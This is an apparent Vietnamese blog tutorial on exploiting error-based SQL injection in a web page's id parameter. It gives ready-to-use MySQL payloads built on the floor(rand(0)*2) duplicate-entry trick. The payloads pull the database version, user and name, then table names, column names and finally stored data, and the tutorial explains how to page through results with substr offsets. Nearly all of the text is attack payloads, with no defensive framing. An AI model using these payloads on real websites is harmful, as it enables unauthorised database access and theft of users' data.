Trang

[TUT] Khai thác lỗi SQL Injection dạng error-based quick blind

Ví dụ victim có dạng:

http://target.com/page.php?id = 1

Lệnh get version, database

http://target.com/page.php?id = 1 [color=#ffffffff]And (Select 1 From(Select Count(*),Concat(CHAR (124),(Select Concat(version(),0x7c,database(),0x7c,user())),floor(rAnd(0)*2),CHAR (124))x From Information_Schema.Tables Group By x)a)[/color]

Tương tự vậy, lệnh get table:

And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(table_name),1,145) FROM information_schema.tables where table_schema=database()),floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)

Bạn để ý chỗ 1,145…Tăng số 1 đó thành một số lớn hơn (thường là số ký tự được trả ra trong dấu ngoặc kép sau phần duplicate entrie….)

And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(table_name),63,145) FROM information_schema.tables where table_schema=database()),floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)

Tiếp theo, lấy column của một table nào đó

And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(column_name),1,145) FROM information_schema.columns where table_schema=database() and table_name=0xso_hex_cua_tablename) ,floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)

Tăng số 1 theo nguyên tắc như trên.

Và cuối cùng là dữ liệu:

And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(column_name_1,0x7c,column_name_2),1,145) FROM table_name_nao_do) ,floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)

CEH

Chú Ý:

Coppy phải ghi rõ nguồn Dương-UG Blog's
 

2 nhận xét:

Copyright © Dương-UG Blog's - Nguyễn Bình Dương